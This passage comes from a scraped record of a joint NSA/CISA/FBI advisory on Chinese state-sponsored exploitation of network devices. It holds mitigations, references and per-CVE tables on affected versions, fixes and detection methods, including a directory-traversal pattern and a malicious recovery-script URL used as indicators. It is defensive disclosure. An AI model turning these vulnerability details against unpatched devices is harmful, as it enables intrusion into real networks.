Demilitarized Zone (DMZ) to reduce the exposure of the internal network [[D3-NI](<https://d3fend.mitre.org/technique/d3f:NetworkIsolation/>)].\n * Enable robust logging of Internet-facing services and monitor the logs for signs of compromise [[D3-NTA](<https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis/>)] [[D3-PM](<https://d3fend.mitre.org/technique/d3f:PlatformMonitoring/>)].\n * Ensure that you have dedicated management systems [[D3-PH](<https://d3fend.mitre.org/technique/d3f:PlatformHardening/>)] and accounts for system administrators. Protect these accounts with strict network policies [[D3-UAP](<https://d3fend.mitre.org/technique/d3f:UserAccountPermissions/>)].\n * Enable robust logging and review of network infrastructure accesses, configuration changes, and critical infrastructure services performing authentication, authorization, and accounting functions [[D3-PM](<https://d3fend.mitre.org/technique/d3f:PlatformMonitoring/>)]. \n * Upon responding to a confirmed incident within any portion of a network, response teams should scrutinize network infrastructure accesses, evaluate potential lateral movement to network infrastructure and implement corrective actions commensurate with their findings.\n\n### Resources\n\nRefer to [us-cert.cisa.gov/china](<https://us-cert.cisa.gov/china>), <https://www.ic3.gov/Home/IndustryAlerts>, and <https://www.nsa.gov/cybersecurity-guidance> for previous reporting on People\u2019s Republic of China state-sponsored malicious cyber activity.\n\nU.S. government and critical infrastructure organizations, should consider signing up for CISA\u2019s [cyber hygiene services](<https://www.cisa.gov/cyber-hygiene-services>), including vulnerability scanning, to help reduce exposure to threats.\n\nU.S. Defense Industrial Base (DIB) organizations, should consider signing up for the NSA Cybersecurity Collaboration Center\u2019s DIB Cybersecurity Service Offerings, including [Protective Domain Name System](<https://www.nsa.gov/About/Cybersecurity-Collaboration-Center/PDNS/>) (PDNS) services, vulnerability scanning, and threat intelligence collaboration. For more information on eligibility criteria and how to enroll in these services, email [dib_defense@cyber.nsa.gov](<http://www.fbi.gov/contact-us/field>).\n\n### Additional References\n\n * CISA (2022), Weak Security Controls and Practices Routinely Exploited for Initial Access. <https://www.cisa.gov/uscert/ncas/alerts/aa22-137a>\n * CISA (2022) 2021 Top Routinely Exploited Vulnerabilities. <https://www.cisa.gov/uscert/ncas/alerts/aa22-117a>\n * NSA (2021), Selecting and Hardening Remote Access VPN Solutions. <https://media.defense.gov/2021/Sep/28/2002863184/-1/-1/0/CSI_SELECTING-HARDENING-REMOTE-ACCESS-VPNS-20210928.PDF>\n * NSA (2021), Chinese State-Sponsored Cyber Operations: Observed TTPs. <https://media.defense.gov/2021/Jul/19/2002805003/-1/-1/0/CSA_CHINESE_STATE-SPONSORED_CYBER_TTPS.PDF>\n * CISA (2021), Exploitation of Pulse Connect Secure Vulnerabilities. <https://www.cisa.gov/uscert/ncas/alerts/aa21-110a>\n * NSA (2020), Chinese State-Sponsored Actors Exploit Publicly Known Vulnerabilities. <https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>\n * CISA (2020), Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. [https://www.cisa.gov/uscert/ncas/alerts/aa20-258a ](<https://www.cisa.gov/uscert/ncas/alerts/aa20-258a>)\n * NSA (2020), Performing Out-of-Band Network Management. <https://media.defense.gov/2020/Sep/17/2002499616/-1/-1/0/PERFORMING_OUT_OF_BAND_NETWORK_MANAGEMENT20200911.PDF>\n * CISA (2020), Critical Vulnerability in Citrix Application Delivery Controller, Gateway, and SD-WAN WANOP. <https://www.cisa.gov/uscert/ncas/alerts/aa20-020a>\n * NSA (2019), Mitigating Recent VPN Vulnerabilities. <https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/Mitigating%20Recent%20VPN%20Vulnerabilities%20-%20Copy.pdf>\n * NSA (2019), Update and Upgrade Software Immediately. <https://media.defense.gov/2019/Sep/09/2002180319/-1/-1/0/Update%20and%20Upgrade%20Software%20Immediately.docx%20-%20Copy.pdf>\n\n### Contact Information \n\nTo report incidents and anomalous activity or to request incident response resources or technical assistance related to these threats, contact CISA at [report@cisa.gov](<mailto:report@cisa.gov>). To report computer intrusion or cybercrime activity related to information found in this advisory, contact your local FBI field office at [www.fbi.gov/contact-us/field](<http://www.fbi.gov/contact-us/field>), or the FBI\u2019s 24/7 Cyber Watch at 855-292-3937 or by email at [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>). For NSA client requirements or general cybersecurity inquiries, contact [Cybersecurity_Requests@nsa.gov](<mailto:Cybersecurity_Requests@nsa.gov>). \n\nMedia Inquiries / Press Desk: \n\n * NSA Media Relations, 443-634-0721, [MediaRelations@nsa.gov](<mailto:MediaRelations@nsa.gov>)\n * CISA Media Relations, 703-235-2010, [CISAMedia@cisa.dhs.gov ](<mailto:CISAMedia@cisa.dhs.gov>)\n * FBI National Press Office, 202-324-3691, [npo@fbi.gov](<mailto:npo@fbi.gov>)\n\n### _Disclaimer of endorsement_\n\nThe information and opinions contained in this document are provided \"as is\" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.\n\n### _Purpose_\n\nThis advisory was developed by NSA, CISA, and the FBI in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders. \n\n### Appendix A: Vulnerabilities\n\n**_Table 2: Information on Cisco CVE-2018-0171_**\n\nCisco CVE-2018-0171 CVSS 3.0: 9.8 (Critical) \n--- \n \n**_Vulnerability Description _**\n\nA vulnerability in the Smart Install feature of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to trigger a reload of an affected device, resulting in a denial of service (DoS) condition, or to execute arbitrary code on an affected device. The vulnerability is due to improper validation of packet data. An attacker could exploit this vulnerability by sending a crafted Smart Install message to an affected device on TCP port 4786. A successful exploit could allow the attacker to cause a buffer overflow on the affected device, which could have the following impacts: Triggering a reload of the device, Allowing the attacker to execute arbitrary code on the device, causing an indefinite loop on the affected device that triggers a watchdog crash. \n \n_**Recommended Mitigations **_\n\n * Cisco has released software updates that address this vulnerability.\n * In addition, the Cisco Smart Install feature is highly recommended to be disabled to reduce exposure. \n_**Detection Methods**_\n\n * CISCO IOS Software Checker \n \n_**Vulnerable Technologies and Versions**_\n\nThe vulnerability affects Cisco devices that are running a vulnerable release of Cisco IOS or IOS XE software and have the smart install client feature enabled. Only smart install client switches are affected by this vulnerability described in this advisory. \n \n_**References**_\n\n<http://www.securityfocus.com/bid/103538> \n<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2> \n<https://ics-cert.us-cert.gov/advisories/ICSA-18-107-04> \n[https://ics-cert.us-cert.gov/advisories/ICSA-18-107-05](<https://ics-cert.us-cert.gov/advisories/ICSA-18-107-04>) \n<https://www.darkreading.com/perimeter/attackers-exploit-cisco-switch-issue-as-vendor-warns-of-yet-another-critical-flaw/d/d-id/1331490> \n<http://www.securitytracker.com/id/1040580> \n \n**_Table 3: Information on Cisco CVE-2019-15271_**\n\nCisco CVE-2019-15271 CVSS 3.0: 8.8 (High) \n--- \n \n**_Vulnerability Description _**\n\nA vulnerability in the web-based management interface of certain Cisco Small Business RV Series Routers could allow an authenticated, remote attacker to execute arbitrary commands with root privileges. The attacker must have either a valid credential or an active session token. The vulnerability is due to lack of input validation of the HTTP payload. An attacker could exploit this vulnerability by sending a malicious HTTP request to the web-based management interface of the targeted device. A successful exploit could allow the attacker to execute commands with root privileges. \n \n**_Recommended Mitigations _**\n\n * Cisco has released free software updates that address the vulnerability described in this advisory.\n * Cisco fixed this vulnerability in firmware releases 4.2.3.10 and later for the Cisco RV042 Dual WAN VPN Router and RV042G Dual Gigabit WAN VPN Router.\n * Administrators can reduce the attack surface by disabling the Remote Management feature if there is no operational requirement to use it. Note that the feature is disabled by default. \n_**Detection Methods **_\n\n * N/A \n \n_**Vulnerable Technologies and Versions **_\n\nThis vulnerability affects the following Cisco Small Business RV Series Routers if they are running a firmware release earlier than 4.2.3.10:\n\n * RV016 Multi-WAN VPN Router\n * RV042 Dual WAN VPN Router\n * RV042G Dual Gigabit WAN VPN Router\n * RV082 Dual WAN VPN Router \n \n_**References **_\n\n<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20191106-sbrv-cmd-x> \n \n**_Table 4: Information on Cisco CVE-2019-1652_**\n\nCisco CVE-2019-1652 CVSS 3.0: 7.2 (High) \n--- \n \n_**Vulnerability Description **_\n\nA vulnerability in the web-based management interface of Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an authenticated, remote attacker with administrative privileges on an affected device to execute arbitrary commands. The vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending malicious HTTP POST requests to the web-based management interface of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying Linux shell as root. Cisco has released firmware updates that address this vulnerability. \n \n_**Recommended Mitigations **_\n\n * Cisco has released free software updates that address the vulnerability described in this advisory\n * This vulnerability is fixed in RV320 and RV325 Dual Gigabit WAN VPN Routers Firmware Release 1.4.2.22 and later.\n * If the Remote Management feature is enabled, Cisco recommends disabling it to reduce exposure. \n**_Detection Methods _**\n\n * N/A \n \n_**Vulnerable Technologies and Versions **_\n\nThis vulnerability affects Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers running firmware releases 1.4.2.15 through 1.4.2.20. \n \n_**References**_\n\n<http://www.securityfocus.com/bid/106728> \n<https://seclists.org/bugtraq/2019/Mar/55> \n<https://www.exploit-db.com/exploits/46243/> \n<https://www.exploit-db.com/exploits/46655/> \n<http://seclists.org/fulldisclosure/2019/Mar/61> \n[http://packetstormsecurity.com/files/152262/Cisco-RV320-Command-Injection.html](<http://seclists.org/fulldisclosure/2019/Mar/61>) \n[http://packetstormsecurity.com/files/152305/Cisco-RV320-RV325-Unauthenticated-Remote-Code-Execution.html](<http://seclists.org/fulldisclosure/2019/Mar/61>) \n[https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject](<http://seclists.org/fulldisclosure/2019/Mar/61>) \n \n**_Table 5: Information on Citrix CVE-2019-19781_**\n\nCitrix CVE-2019-19781 CVSS 3.0: 9.8 (Critical) \n--- \n \n_**Vulnerability Description **_\n\nAn issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal. \n \n_**Recommended Mitigations**_\n\n * Implement the appropriate refresh according to the vulnerability details outlined by vendor: Citrix: Mitigation Steps for CVE-2019-19781. \n * If possible, only allow the VPN to communicate with known Internet Protocol (IP) addresses (allow-list). \n_**Detection Methods **_\n\n * CISA has developed a free detection tool for this vulnerability: cisa.gov/check-cve-2019-19781: Test a host for susceptibility to CVE-2019-19781.\n * Nmap developed a script that can be used with the port scanning engine: CVE-2019-19781 \u2013 Critix ADC Path Traversal #1893.\n * Citrix also developed a free tool for detecting compromises of Citrix ADC Appliances related to CVE-2019-19781: Citrix / CVE-2019-19781: IOC Scanner for CVE-2019-19781.\n * CVE-2019-19781 is commonly exploited to install web shell malware. The National Security Agency (NSA) provides guidance on detecting and preventing web shell malware at https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF and signatures at https://github.com/nsacyber/Mitigating-Web-Shells. \n \n_**Vulnerable Technologies and Versions **_\n\nThe vulnerability affects the following Citrix product versions on all supported platforms:\n\n * Citrix ADC and Citrix Gateway version 13.0 all supported builds before 13.0.47.24\n * NetScaler ADC and NetScaler Gateway version 12.1 all supported builds before 12.1.55.18\n * NetScaler ADC and NetScaler Gateway version 12.0 all supported builds before 12.0.63.13\n * NetScaler ADC and NetScaler Gateway version 11.1 all supported builds before 11.1.63.15\n * NetScaler ADC and NetScaler Gateway version 10.5 all supported builds before 10.5.70.12\n * Citrix SD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO all supported software release builds before 10.2.6b and 11.0.3b \n \n_**References **_\n\n<https://support.citrix.com/article/CTX267027> \n \n**_Table 6: Information on DrayTek CVE-2020-8515_**\n\nDrayTek CVE-2020-8515 CVSS 3.0: 9.8 (Critical) \n--- \n \n_**Vulnerability Description **_\n\nDrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI. This issue has been fixed in Vigor3900/2960/300B v1.5.1. \n \n_**Recommended Mitigations **_\n\n * Users of affected models should upgrade to 1.5.1 firmware or later as soon as possible, the updated firmware addresses this issue.\n * Disable the remote access on your router if you don\u2019t need it.\n * Disable remote access (admin) and SSL VPN. The ACL does not apply to SSL VPN connections (Port 443) so you should also temporarily disable SSL VPN until you have updated the firmware.\n * Always back up your config before doing an upgrade.\n * After upgrading, check that the web interface now shows the new firmware version.\n * Enable syslog logging for monitoring if there are abnormal events. \n_**Detection Methods **_\n\n * Check that no additional remote access profiles (VPN dial-in, teleworker or LAN to LAN) or admin users (for router admin) have been added.\n * Check if any ACL (Access Control Lists) have been altered. \n_**Vulnerable Technologies and Versions **_\n\n * This vulnerability affects the Vigor3900/2960/300B before firmware version 1.5.1. \n \n_**References **_\n\n<https://draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/> \n<http://packetstormsecurity.com/files/156979/DrayTek-Vigor2960-Vigor3900-Vigor300B-Remote-Command-Execution.html> \n[https://sku11army.blogspot.com/2020/01/draytek-unauthenticated-rce-in-draytek.html](<http://packetstormsecurity.com/files/156979/DrayTek-Vigor2960-Vigor3900-Vigor300B-Remote-Command-Execution.html>) \n \n_**Table 7: Information on D-Link CVE-2019-16920**_\n\nD-Link CVE-2019-16920 CVSS 3.0: 9.8 (Critical) \n--- \n \n_**Vulnerability Description **_\n\nUnauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a \"PingTest\" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected: DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825. \n \n_**Recommended Mitigations **_\n\n * Recommendation is to replace affected devices with ones that are currently supported by the vendor. End-of-life devices should not be used. \n_**Detection Methods **_\n\n * HTTP packet inspection to look for arbitrary input to the \u201cping_test\u201d command \n_**Vulnerable Technologies and Versions **_\n\n * DIR DIR-655C, DIR-866L, DIR-652, DHP-1565, DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-82 \n \n_**References **_\n\n<https://www.kb.cert.org/vuls/id/766427> \n<https://fortiguard.com/zeroday/FG-VD-19-117> \n<https://medium.com/@80vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3> \n<https://www.seebug.org/vuldb/ssvid-98079> \n \n_**Table 8: Information on Fortinet CVE-2018-13382**_\n\nFortinet CVE-2018-13382 CVSS 3.0: 7.5 (High) \n--- \n \n_**Vulnerability Description **_\n\nAn Improper Authorization vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.8 and 5.4.1 to 5.4.10 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to modify the password of an SSL VPN web portal user via specially crafted HTTP requests. \n \n_**Recommended Mitigations **_\n\n * Upgrade to FortiOS versions 5.4.11, 5.6.9, 6.0.5, 6.2.0 or above and/or upgrade to FortiProxy version 1.2.9 or above or version 2.0.1 or above.\n * SSL VPN users with local authentication can mitigate the impact by enabling Two-Factor Authentication (2FA).\n * Migrate SSL VPN user authentication from local to remote (LDAP or RADIUS).\n * Totally disable the SSL-VPN service (both web-mode and tunnel-mode) by applying the following CLI commands: config vpn ssl settings, unset source-interface, end. \n_**Detection Methods **_\n\n * HTTP packet inspection to look for specially crafted packets containing the magic key for the SSL VPN password modification \n \n_**Vulnerable Technologies and Versions**_\n\nThis vulnerability affects the following products: \n\n * Fortinet FortiOS 6.0.0 to 6.0.4\n * Fortinet FortiOS 5.6.0 to 5.6.8\n * Fortinet FortiOS 5.4.1 to 5.4.10\n * Fortinet FortiProxy 2.0.0\n * Fortinet FortiProxy 1.2.8 and below\n * Fortinet FortiProxy 1.1.6 and below\n * Fortinet FortiProxy 1.0.7 and below\n\nFortiOS products are vulnerable only if the SSL VPN service (web-mode or tunnel-mode) is enabled and users with local authentication. \n \n_**References **_\n\n<https://fortiguard.com/psirt/FG-IR-18-389> \n[https://fortiguard.com/advisory/FG-IR-18-389](<https://fortiguard.com/psirt/FG-IR-18-389>) \n<https://www.fortiguard.com/psirt/FG-IR-20-231> \n \n_**Table 9: Information on Mikrotik CVE-2018-14847**_\n\nMikrotik CVE-2018-14847 CVSS 3.0: 9.1 (Critical) \n--- \n \n_**Vulnerability Description **_\n\nMikroTik RouterOS through 6.42 allows unauthenticated remote attackers to read arbitrary files and remote authenticated attackers to write arbitrary files due to a directory traversal vulnerability in the WinBox interface. \n \n_**Recommended Mitigations **_\n\n * Upgrade WinBox and RouterOS and change passwords\n * Firewall the WinBox port from the public interface and from untrusted networks \n**_Detection Methods _**\n\n * Use export command to see all your configuration and inspect for any abnormalities, such as unknown SOCKS proxy settings and scripts. \n \n_**Vulnerable Technologies and Versions **_\n\nThis vulnerability affected the following MikroTik products:\n\n * All bugfix releases from 6.30.1 to 6.40.7\n * All current releases from 6.29 to 6.42\n * All RC releases from 6.29rc1 to 6.43rc3 \n \n_**References**_\n\n<https://blog.mikrotik.com/security/winbox-vulnerability.html> \n \n_**Table 10: Information on Netgear CVE-2017-6862**_\n\nNetgear CVE-2017-6862 CVSS 3.0: 9.8 (Critical) \n--- \n \n_**Vulnerability Description **_\n\nNETGEAR WNR2000v3 devices before 1.1.2.14, WNR2000v4 devices before 1.0.0.66, and WNR2000v5 devices before 1.0.0.42 allow authentication bypass and remote code execution via a buffer overflow that uses a parameter in the administration webapp. The NETGEAR ID is PSV-2016-0261. \n \n_**Recommended Mitigations **_\n\n * NETGEAR has released firmware updates that fix the unauthenticated remote code execution vulnerability for all affected products. \n_**Detection Methods **_\n\n * HTTP packet inspection to find any specially crafted packets attempting a buffer overflow through specialized parameters. \n \n_**Vulnerable Technologies and Versions **_\n\nThis vulnerability affects the following products:\n\n * WNR2000v3 before version 1.1.2.14\n * WNR2000v4 before version 1.0.0.66\n * WNR2000v5 before version 1.0.0.42\n * R2000 \n \n_**References **_\n\n<https://kb.netgear.com/000038542/Security-Advisory-for-Unauthenticated-Remote-Code-Execution-on-Some-Routers-PSV-2016-0261> \n<https://www.on-x.com/sites/default/files/on-x_-_security_advisory_-_netgear_wnr2000v5_-_cve-2017-6862.pdf> \n<http://www.securityfocus.com/bid/98740> \n \n_**Table 11: Information on Pulse CVE-2019-11510**_\n\nPulse CVE-2019-11510 CVSS 3.0: 10 (Critical) \n--- \n \n_**Vulnerability Description **_\n\nIn Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability. \n \n_**Recommended Mitigations **_\n\n * Upgrade to the latest Pulse Secure VPN.\n * Stay alert to any scheduled tasks or unknown files/executables.\n * Create detection/protection mechanisms that respond on directory traversal (/../../../) attempts to read local system files. \n \n_**Detection Methods **_\n\n * CISA developed a tool to help determine if IOCs exist in the log files of a Pulse Secure VPN Appliance for CVE-2019-11510: [cisa.gov/check-your-pulse](<https://github.com/cisagov/check-your-pulse>).\n * Nmap developed a script that can be used with the port scanning engine: http-vuln-cve2019- 11510.nse #1708. \n \n_**Vulnerable Technologies and Versions **_\n\nThis vulnerability affects the following Pulse Connect Secure products:\n\n * 9.0R1 to 9.0R3.3\n * 8.3R1 to 8.3R7\n * 8.2R1 to 8.2R12 \n \n_**References**_\n\n<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/> \n \n_**Table 12: Information on Pulse CVE-2021-22893**_\n\nPulse CVE-2021-22893 CVSS 3.0: 10 (Critical) \n--- \n \n_**Vulnerability Description **_\n\nPulse Connect Secure 9.0R3/9.1R1 and higher is vulnerable to an authentication bypass vulnerability exposed by the Windows File Share Browser and Pulse Secure Collaboration features of Pulse Connect Secure that can allow an unauthenticated user to perform remote arbitrary code execution on the Pulse Connect Secure gateway. This vulnerability has been exploited in the wild. \n \n_**Recommended Mitigations**_\n\n * Updating such systems to PCS 9.1R11.4.\n * Run the PCS Integrity Assurance utility.\n * Enable Unauthenticated Request logging.\n * Enable remote logging.\n * Pulse Secure has published a Workaround-2104.xml file that contains mitigations to protect against this and other vulnerabilities.\n * Monitor capabilities in open source scanners. \n_**Detection Methods **_\n\n * Log correlation between the authentication servers responsible for LDAP and RADIUS authentication and the VPN server. Authentication failures in either LDAP or RADIUS logs with the associated VPN logins showing success would be an anomalous event worthy of flagging.\n * The Pulse Security Check Tool.\n * A \u2018recovery\u2019 file not present in legitimate versions. https://ive-host/dana-na/auth/recover[.]cgi?token=<varies>. \n \n_**Vulnerable Technologies and Versions **_\n\nThis vulnerability affects Pulse Connect Secure 9.0R3/9.1R1 and higher. \n \n_**References **_\n\n<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/> \n<https://blog.pulsesecure.net/pulse-connect-secure-security-update/> \n<https://kb.cert.org/vuls/id/213092> \n<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/> \n<https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html> \n \n_**Table 13: Information on QNAP CVE-2019-7192**_\n\nQNAP CVE-2019-7192 CVSS 3.0: 9.8 (Critical) \n--- \n \n_**Vulnerability Description**_\n\nThis improper access control vulnerability allows remote attackers to gain unauthorized access to the system. To fix these vulnerabilities, QNAP recommend updating Photo Station to their latest versions. \n \n_**Recommended Mitigations **_\n\nUpdate Photo Station to versions: \n\n * QTS 4.4.1 Photo Station 6.0.3 and later\n * QTS 4.3.4-QTS 4.4.0 Photo Station 5.7.10 and later\n * QTS 4.3.0-QTS 4.3.3 Photo Station 5.4.9 and later\n * QTS 4.2.6 Photo Station 5.2.11 and later \n_**Detection Methods **_\n\n * N/A \n \n_**Vulnerable Technologies and Versions **_\n\nThis vulnerability affects QNAP Photo Station versions 5.2.11, 5.4.9, 5.7.10, and 6.0.3 or earlier. \n \n**References **\n\n<https://www.qnap.com/zh-tw/security-advisory/nas-201911-25> \n[http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html](<https://www.qnap.com/zh-tw/security-advisory/nas-201911-25>) \n \n_**Table 14: Information on QNAP CVE- 2019-7193**_\n\nQNAP CVE-2019-7193 CVSS 3.0: 9.8 (Critical) \n--- \n \n**_Vulnerability Description _**\n\nThis improper input validation vulnerability allows remote attackers to inject arbitrary code to the system. To fix the vulnerability, QNAP recommend updating QTS to their latest versions. \n \n_**Recommended Mitigations **_\n\nUpdate QTS to versions: \n\n * QTS 4.4.1 build 20190918 and later\n * QTS 4.3.6 build 20190919 and later \n_**Detection Methods **_\n\n * N/A \n \n_**Vulnerable Technologies and Versions **_\n\nThis vulnerability affects QNAP QTS 4.3.6 and 4.4.1 or earlier. \n \n**_References _**\n\n<https://www.qnap.com/zh-tw/security-advisory/nas-201911-25> \n<http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html> \n \n_**Table 15: Information on QNAP CVE-2019-7194**_\n\nQNAP CVE-2019-7194 CVSS 3.0: 9.8 (Critical) \n--- \n \n_**Vulnerability Description**_\n\nThis external control of file name or path vulnerability allows remote attackers to access or modify system files. To fix the vulnerability, QNAP recommend updating Photo Station to their latest versions. \n \n_**Recommended Mitigations **_\n\nUpdate Photo Station to versions: \n\n * QTS 4.4.1 Photo Station 6.0.3 and later\n * QTS 4.3.4-QTS 4.4.0 Photo Station 5.7.10 and later\n * QTS 4.3.0-QTS 4.3.3 Photo Station 5.4.9 and later\n * QTS 4.2.6 Photo Station 5.2.11 and later \n_**Detection Methods **_\n\n * N/A \n \n_**Vulnerable Technologies and Versions **_\n\nThis vulnerability affects QNAP Photo Station versions 5.2.11, 5.4.9, 5.7.10, and 6.0.3 or earlier. \n \n_**References **_\n\n[https://www.qnap.com/zh-tw/security-advisory/nas-201911-25 ](<https://www.qnap.com/zh-tw/security-advisory/nas-201911-25>) \n<http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html> \n \n_**Table 16: Information on QNAP CVE-2019-7195**_\n\nQNAP CVE-2019-7195 CVSS 3.0: 9.8 (Critical) \n--- \n \n_**Vulnerability Description **_\n\nThis external control of file name or path vulnerability allows remote attackers to access or modify system files. To fix the vulnerability, QNAP recommend updating Photo Station to their latest versions. \n \n_**Recommended Mitigations **_\n\nUpdate Photo Station to versions: \n\n * QTS 4.4.1 Photo Station 6.0.3 and later\n * QTS 4.3.4-QTS 4.4.0 Photo Station 5.7.10 and later\n * QTS 4.3.0-QTS 4.3.3 Photo Station 5.4.9 and later\n * QTS 4.2.6 Photo Station 5.2.11 and later \n_**Detection Methods **_\n\n * N/A \n \n_**Vulnerable Technologies and Versions **_\n\nThis vulnerability affects QNAP Photo Station versions 5.2.11, 5.4.9, 5.7.10, and 6.0.3 or earlier. \n \n_**References **_\n\n<https://www.qnap.com/zh-tw/security-advisory/nas-201911-25> \n<http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html> \n \n_**Table 17: Information on Zyxel CVE-2020-29583**_\n\nZyxel CVE-2020-29583 CVSS 3.0: 9.8 (Critical) \n--- \n \n_**Vulnerability Description **_\n\nFirmware version 4.60 of Zyxel USG devices contains an undocumented account (zyfwp) with an unchangeable password. The password for this account can be found in cleartext in the firmware. This account can be used by someone to login to the SSH server or web interface with admin privileges. \n \n_**Recommended Mitigations **_\n\n * Download latest patch (4.60 Patch1 or newer) \n_**Detection Methods **_\n\n * Login attempts to the hardcoded undocumented account, seen in either audit logs or intrusion detection systems \n \n_**Vulnerable Technologies and Versions **_\n\nThis vulnerability affects the following technologies and versions:\n\n * ATP series running firmware ZLD V4.60\n * USG series running firmware ZLD V4.60\n * USG FLEX series running firmware ZLD V4.60\n * VPN series running firmware ZLD V4.60\n * NXC2500 running firmware V6.00 through V6.10\n * NXC5500 running firmware V6.00 through V6.10 \n \n_**References **_\n\n<http://ftp.zyxel.com/USG40/firmware/USG40_4.60(AALA.1)C0_2.pdf> \n<https://businessforum.zyxel.com/discussion/5252/zld-v4-60-revoke-and-wk48-firmware-release> \n<https://businessforum.zyxel.com/discussion/5254/whats-new-for-zld4-60-patch-1-available-on-dec-15> \n<https://www.eyecontrol.nl/blog/undocumented-user-account-in-zyxel-products.html> \n<https://www.zyxel.com/support/CVE-2020-29583.shtml> \n<https://www.zyxel.com/support/security_advisories.shtml> \n \n### Revisions\n\nInitial Version: June 7, 2022\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-06-10T12:00:00", "type": "ics", "title": "People\u2019s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-6862", "CVE-2018-0171", "CVE-2018-13382", "CVE-2018-14847", "CVE-2019-11510", "CVE-2019-15271", "CVE-2019-1652", "CVE-2019-16920", "CVE-2019-19781", "CVE-2019-7192", "CVE-2019-7193", "CVE-2019-7194", "CVE-2019-7195", "CVE-2020-29583", "CVE-2020-8515", "CVE-2021-22893"], "modified": "2022-06-10T12:00:00", "id": "AA22-158A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-158a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:28:44", "description": "### Summary\n\n_**Actions Critical Infrastructure Organizations Should Implement to Immediately Strengthen Their Cyber Posture.** \n\u2022 Patch all systems. Prioritize patching [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)._ \n\u2022 Implement [multi-factor authentication](<https://us-cert.cisa.gov/ncas/tips/ST05-012>). \n\u2022 _Use antivirus software._ \n_\u2022 Develop internal contact lists and surge support._\n\n___**Note:** this advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK\u00ae) framework, version 10. See the [ATT&CK for Enterprise](<https://attack.mitre.org/versions/v9/techniques/enterprise/>) for all referenced threat actor 